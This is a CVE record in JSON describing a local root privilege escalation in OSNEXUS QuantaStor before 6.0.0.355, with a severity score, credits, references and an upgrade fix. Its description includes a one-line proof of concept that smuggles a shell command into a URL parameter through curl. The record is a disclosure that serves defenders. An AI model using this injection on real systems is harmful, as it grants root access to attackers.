{
    "dataType": "CVE_RECORD",
    "dataVersion": "5.1",
    "cveMetadata": {
        "cveId": "CVE-2021-42082",
        "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
        "state": "PUBLISHED",
        "assignerShortName": "DIVD",
        "dateReserved": "2021-10-07T17:12:57.678Z",
        "datePublished": "2023-07-10T06:29:47.984Z",
        "dateUpdated": "2025-09-22T06:40:10.543Z"
    },
    "containers": {
        "cna": {
            "affected": [
                {
                    "collectionURL": "https://www.osnexus.com/downloads",
                    "defaultStatus": "unknown",
                    "platforms": [
                        "Windows",
                        "Linux"
                    ],
                    "product": "QuantaStor",
                    "vendor": "OSNEXUS",
                    "versions": [
                        {
                            "lessThan": "6.0.0.355",
                            "status": "affected",
                            "version": "0",
                            "versionType": "semver"
                        }
                    ]
                }
            ],
            "credits": [
                {
                    "lang": "en",
                    "type": "finder",
                    "user": "00000000-0000-4000-9000-000000000000",
                    "value": "Wietse Boonstra (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Frank Breedijk (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Victor Pasman (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Victor Gevers (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Max van der Horst (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Célistine Oosting (DIVD)"
                }
            ],
            "descriptions": [
                {
                    "lang": "en",
                    "supportingMedia": [
                        {
                            "base64": false,
                            "type": "text/html",
                            "value": "Local users are able to execute scripts under root privileges.<br><br>POC<br><br>On the local host run the following command:<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&amp;a=;`whoami`'</span><br>"
                        }
                    ],
                    "value": "Local users are able to execute scripts under root privileges.\n\nPOC\n\nOn the local host run the following command:\n\ncurl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'"
                }
            ],
            "metrics": [
                {
                    "cvssV3_1": {
                        "attackComplexity": "LOW",
                        "attackVector": "LOCAL",
                        "availabilityImpact": "HIGH",
                        "baseScore": 7.8,
                        "baseSeverity": "HIGH",
                        "confidentialityImpact": "HIGH",
                        "integrityImpact": "HIGH",
                        "privilegesRequired": "LOW",
                        "scope": "UNCHANGED",
                        "userInteraction": "NONE",
                        "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        "version": "3.1"
                    },
                    "format": "CVSS",
                    "scenarios": [
                        {
                            "lang": "en",
                            "value": "GENERAL"
                        }
                    ]
                }
            ],
            "problemTypes": [
                {
                    "descriptions": [
                        {
                            "cweId": "CWE-269",
                            "description": "CWE-269 Improper Privilege Management",
                            "lang": "en",
                            "type": "CWE"
                        }
                    ]
                }
            ],
            "providerMetadata": {
                "orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
                "shortName": "DIVD",
                "dateUpdated": "2025-09-22T06:40:10.543Z"
            },
            "references": [
                {
                    "tags": [
                        "third-party-advisory",
                        "technical-description",
                        "exploit"
                    ],
                    "url": "https://www.wbsec.nl/osnexus"
                },
                {
                    "tags": [
                        "third-party-advisory"
                    ],
                    "url": "https://csirt.divd.nl/DIVD-2021-00020/"
                },
                {
                    "tags": [
                        "product"
                    ],
                    "url": "https://www.osnexus.com/products/software-defined-storage"
                },
                {
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                        "third-party-advisory",
                        "technical-description",
                        "exploit"
                    ],
                    "url": "https://csirt.divd.nl/CVE-2021-42082"
                }
            ],
            "solutions": [
                {
                    "lang": "en",
                    "supportingMedia": [
                        {
                            "base64": false,
                            "type": "text/html",
                            "value": "Upgrade to the latest version of OSNEXUS QuantaStor."
                        }
                    ],
                    "value": "Upgrade to the latest version of OSNEXUS QuantaStor."
                }
            ],
            "source": {
                "discovery": "INTERNAL"
            },
            "title": "Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355",
            "x_generator": {
                "engine": "Vulnogram 0.1.0-dev"
            }
        },
        "adp": [
            {
                "providerMetadata": {
                    "orgId": "af854a3a-2127-422b-91ae-364da2661108",
                    "shortName": "CVE",
                    "dateUpdated": "2024-08-04T03:22:25.967Z"
                },
                "title": "CVE Program Container",
                "references": [
                    {
                        "url": "https://www.wbsec.nl/osnexus",
                        "tags": [
                            "third-party-advisory",
                            "x_transferred"
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                    },
                    {
                        "url": "https://www.divd.nl/DIVD-2021-00020",
                        "tags": [
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                    },
                    {
                        "url": "https://www.osnexus.com/products/software-defined-storage",
                        "tags": [
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                            "x_transferred"
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                    {
                        "url": "https://csirt.divd.nl/CVE-2021-42082",
                        "tags": [
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            },
            {
                "metrics": [
                    {
                        "other": {
                            "type": "ssvc",
                            "content": {
                                "timestamp": "2024-11-12T14:16:04.030763Z",
                                "id": "CVE-2021-42082",
                                "options": [
                                    {
                                        "Exploitation": "none"
                                    },
                                    {
                                        "Automatable": "no"
                                    },
                                    {
                                        "Technical Impact": "total"
                                    }
                                ],
                                "role": "CISA Coordinator",
                                "version": "2.0.3"
                            }
                        }
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                ],
                "title": "CISA ADP Vulnrichment",
                "providerMetadata": {
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                    "shortName": "CISA-ADP",
                    "dateUpdated": "2024-11-12T14:16:12.694Z"
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}